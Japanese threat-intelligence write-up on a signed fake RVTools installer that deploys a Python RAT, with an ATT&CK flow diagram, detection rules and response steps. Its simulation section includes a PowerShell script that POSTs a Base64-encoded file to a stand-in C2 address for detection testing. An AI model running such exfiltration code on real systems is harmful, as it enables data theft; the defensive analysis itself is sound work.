RVTools の偽装: 署名された偽インストーラーがモジュラPython RATを展開する方法
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
正規の証明書で署名された悪意のあるMSIインストーラーが、VMware管理者が使用するRVToolsユーティリティを装っている。実行されると、インストーラーはVBScriptをドロップし、PowerShellを起動してDropboxから大きなZIPアーカイブをダウンロードする。アーカイブには、偵察、持続性、およびハードコードされたコマンドアンドコントロールサーバーへの通信が可能な多段階のRATを実行するポータブルPython環境が含まれている。
調査
解析はMSIをカスタムVBScriptアクションに追跡し、 Binary.MyScript.vbsが難読化されたPowerShellコマンドをデコードした。そのコマンドは winp.zip ペイロードを %APPDATA%にダウンロードし、Pythonコンポーネントや collector.py and Pmanager.pyのようなスクリプトを抽出し、再起動後にレジストリのRunキーとスケジュールドタスクを通じて持続性を確立した。研究者はまた、RATが収集したデータをRC4で暗号化し、5つの固定IPアドレスに5分間隔でビーコンを送信することを発見した。
緩和策
組織は、生のOCSPまたはCRLチェックを使用して厳格なコード署名の検証を実施し、信頼できないMSIの実行をブロックし、インストーラーパッケージに埋め込まれた不審なVBScriptカスタムアクションを監視する必要がある。また、防御者はダウンロードされたスクリプトの自動実行を防ぎ、新しいRunキーエントリやスケジュールドタスク作成を監視し、未知のハードコードされたIPアドレスへの送信トラフィックを警告する必要がある。
対応策
このアクティビティが検出された場合、影響を受けたエンドポイントを直ちに隔離し、法医学分析のためにMSI、VBScript、および抽出されたペイロードファイルを収集し、Runキーとスケジュールドタスクを含む全ての持続性のアーティファクトを削除する必要がある。識別されたコマンドアンドコントロールIPアドレスはファイアウォールでブロックされ、横移動が発生したかどうかを判断するために認証情報およびActive Directoryアクティビティの広範なレビューが行われるべきである。
“graph TB %% クラス定義 classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% フェーズ phase_initial_access[“<b>フェーズ</b>: 初期アクセス<br/><b>アクション</b> – 被害者はRVToolsを装った署名された悪意のあるMSIを実行する。”] class phase_initial_access phase phase_execution[“<b>フェーズ</b>: 実行<br/><b>アクション</b> – MSIはMsiexecを使用してVBScriptを実行し、隠れたPowerShellダウンローダーを起動する。”] class phase_execution phase phase_payload[“<b>フェーズ</b>: ペイロード展開<br/><b>アクション</b> – アーカイブはcollector.pyとmanager.pyを含むポータブルWinPython環境に解凍される。”] class phase_payload phase phase_persistence[“<b>フェーズ</b>: 持続性<br/><b>アクション</b> – PythonマネージャーはレジストリのRunキー、スケジュールドタスク、およびアクティブセットアップエントリを作成する。”] class phase_persistence phase phase_c2[“<b>フェーズ</b>: コマンドアンドコントロール<br/><b>アクション</b> – 収集したデータはアーカイブされ、RC4で暗号化され、ハードコードされたIPにHTTP POSTでexfilされる。”] class phase_c2 phase phase_evasion[“<b>フェーズ</b>: 防御回避<br/><b>アクション</b> – 署名されたバイナリ、プロキシ実行、および検出を回避するための文字の難読化の使用。”] class phase_evasion phase %% 初期アクセスのためのテクニック tech_user_execution[“<b>技術</b> T1204.002 ユーザー実行:悪意のあるファイル<br/>被害者は正当と信じる悪意あるファイルを実行します。”] class tech_user_execution technique tech_masquerading[“<b>技術</b> T1036.001 マスカレーディング<br/>バイナリは署名されており、正規のユーティリティ(RVTools)のように命名されています。”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>技術</b> T1127 信頼された開発者ユーティリティプロキシ実行<br/>署名されたバイナリは評判チェックを回避するために使用されます。”] class tech_trusted_dev_proxy technique %% 実行のためのテクニック tech_msiexec_proxy[“<b>技術</b> T1218.007 システムバイナリプロキシ実行: Msiexec<br/>Msiexecは悪意のあるMSIを実行するために呼び出されます。”] class tech_msiexec_proxy technique tech_vbscript[“<b>技術</b> T1059.005 コマンドおよびスクリプトインタプリタ: ビジュアルベーシック<br/>カスタムアクションはVBScriptペイロードを起動します。”] class tech_vbscript technique tech_powershell[“<b>技術</b> T1059.001 コマンドおよびスクリプトインタプリタ: PowerShell<br/>VBScriptは隠されたPowerShellダウンロードコマンドをデコードして実行します。”] class tech_powershell technique %% ペイロード展開のためのテクニック tech_archive_custom[“<b>技術</b> T1560.003 収集データのアーカイブ: カスタムメソッドを介してアーカイブ<br/>33 MBのzip (winp.zip) がダウンロードされ、ポータブルPython環境を作成するために解凍されます。”] class tech_archive_custom technique %% 持続性のためのテクニック tech_registry_run[“<b>技術</b> T1037.004 ブートまたはログオン初期化スクリプト: レジストリRun<br/>レジストリRunキーはスタートアップ時にmanager.pyを起動するために作成されます。”] class tech_registry_run persistence tech_scheduled_task[“<b>技術</b> T1053 スケジュールドタスク/ジョブ<br/>SYSTEM特権で実行される毎日のスケジュールドタスクが作成されます。”] class tech_scheduled_task persistence tech_active_setup[“<b>技術</b> T1547.014 ブートまたはログオン自動起動実行: アクティブセットアップ<br/>各ユーザーに対する実行を保証するためにアクティブセットアップエントリが追加されます。”] class tech_active_setup persistence tech_hijack_execution[“<b>技術</b> T1574 実行フローのハイジャック<br/>スケジュールドタスクは通常の実行パスをハイジャックするために使用されます。”] class tech_hijack_execution evasion %% コマンドアンドコントロールのためのテクニック tech_exfil_unencrypted[“<b>技術</b> T1048.003 暗号化されていない非-C2プロトコルを介したデータ流出<br/>データはHTTP POSTを介してハードコードされたIPアドレスに送信されます。”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>技術</b> T1048.002 非対称暗号化された非-C2プロトコルを介したデータ流出<br/>データは送信前にRC4で暗号化されます。”] class tech_exfil_asymmetric c2 %% 防御回避のためのテクニック tech_system_script_proxy[“<b>技術</b> T1216.002 システムスクリプトプロキシ実行: SyncAppvPublishingServer<br/>信頼されたスクリプトは悪意のある活動を隠すためにプロキシとします。”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>技術</b> T1218 システムバイナリプロキシ実行<br/>署名されたユーティリティ(Msiexec)はアプリケーション制御を回避するために悪用されます。”] class tech_system_binary_proxy evasion %% アーティファクト artifact_msi[“<b>アーティファクト</b>: malicious_RVTools.msi<br/>初期アクセス用に使用される署名されたMSIです。”] class artifact_msi artifact artifact_zip[“<b>アーティファクト</b>: winp.zip<br/>DropboxでホスティングされるポータブルWinPythonを含むアーカイブです。”] class artifact_zip artifact artifact_python_env[“<b>アーティファクト</b>: WinPython環境<br/>偵察用のcollector.pyとmanager.pyを含みます。”] class artifact_python_env artifact artifact_registry_key[“<b>アーティファクト</b>: レジストリRunキー<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr”] class artifact_registry_key artifact artifact_scheduled_task[“<b>アーティファクト</b>: スケジュールドタスク<br/>名前: WinPythonDaily、SYSTEMで実行します。”] class artifact_scheduled_task artifact artifact_active_setup[“<b>アーティファクト</b>: アクティブセットアップエントリ<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython”] class artifact_active_setup artifact artifact_c2_ip[“<b>アーティファクト</b>: C2 IPアドレス<br/>TCP過剰で連絡されるハードコードされたIPv4アドレスです。”] class artifact_c2_ip artifact %% 接続 phase_initial_access –>|使用する| tech_user_execution phase_initial_access –>|使用する| tech_masquerading phase_initial_access –>|使用する| tech_trusted_dev_proxy phase_initial_access –>|配送する| artifact_msi tech_user_execution –>|実行する| artifact_msi tech_masquerading –>|可能にする| artifact_msi tech_trusted_dev_proxy –>|回避する| artifact_msi phase_execution –>|活用する| tech_msiexec_proxy tech_msiexec_proxy –>|実行する| tech_vbscript tech_vbscript –>|起動する| tech_powershell tech_powershell –>|ダウンロードする| artifact_zip artifact_zip –>|作成するために解凍された| artifact_python_env phase_payload –>|含む| artifact_python_env phase_persistence –>|作成する| tech_registry_run phase_persistence –>|作成する| tech_scheduled_task phase_persistence –>|作成する| tech_active_setup phase_persistence –>|使用する| tech_hijack_execution tech_registry_run –>|書き込む| artifact_registry_key tech_scheduled_task –>|作成する| artifact_scheduled_task tech_active_setup –>|書き込む| artifact_active_setup phase_c2 –>|データをアーカイブして暗号化する| tech_archive_custom tech_archive_custom –>|送信する| tech_exfil_unencrypted tech_exfil_unencrypted –>|使用する| artifact_c2_ip tech_exfil_unencrypted –>|また使用する| tech_exfil_asymmetric phase_evasion –>|適用する| tech_system_script_proxy phase_evasion –>|適用する| tech_system_binary_proxy tech_system_binary_proxy –>|促進する| tech_msiexec_proxy tech_system_script_proxy –>|促進する| tech_vbscript “
攻撃フロー
検出
LOLBAS WScript / CScript(via process_creation)
表示
疑わしいフォルダからのPython実行(via cmdline)
表示
隠されたPowerShellコマンドラインを介した実行の可能性(via cmdline)
表示
PowerShellを使用して疑わしいディレクトリにアーカイブが抽出された(via powershell)
表示
正規でないプロセスによって開始されたDropbox APIサブドメインのDNSクエリの可能性(via dns_query)
表示
IOC (HashSha256) を検出する: RVTools偽装: 署名された偽インストーラがモジュラPython RAT を展開する方法
表示
IOC (HashMd5) を検出する: RVTools偽装: 署名された偽インストーラがモジュラPython RAT を展開する方法
表示
ハードコードされたIPとHTTP POSTを介したデータ流出の検出 [Windowsネットワーク接続]
表示
悪意のあるPowerShell隠し実行とInvoke-WebRequestの検出 [Windows Powershell]
表示
疑わしいRVTools偽インストーラがPython RATを展開する [Windowsプロセス作成]
表示
シミュレーション実行
前提条件: テレメトリーとベースラインの事前飛行チェックが通過している必要があります。
理論: このセクションでは、検出ルールをトリガーするために設計された攻撃者テクニック(TTP)の正確な実行を詳述します。コマンドとナラティブは特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目指します。
-
攻撃のナラティブとコマンド:
被害者マシンで既に足がかりを得た攻撃者は、小さなデータセット(例えば、C:Tempsecret.txt)を流出させることを決定します。攻撃者は一般的なアウトバウンドトラフィック警報を引き起こさないように、 PowerShell のワンライナーを使用して、ハードコードされたC2 IPの1つ(192.0.2.10)に直接HTTP POSTを実行します。このコマンドはWindowsで スケジュールドタスク によって設定され、持続性を確保します(T1546.013)。追加のバイナリはドロップされず、活動は「living-off-the-land」を維持します。 -
リグレッションテストスクリプト:
# ------------------------------------------------- # PowerShellスクリプト - ハードコードされたIPを介したデータ流出 # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # ファイルが存在することを確認します(テスト用にダミーデータを作成) if (-Not (Test-Path $file)) { "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # ファイルの内容を読み込み、Base64でエンコードします $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # HTTP POSTを実行します $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "$c2Ipへの流出試みが送信されました" } catch { Write-Error "流出に失敗しました: $_" } -
クリーンアップコマンド:
# ダミーファイルを削除します Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # テストのために作成されたスケジュールドタスクを削除します $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }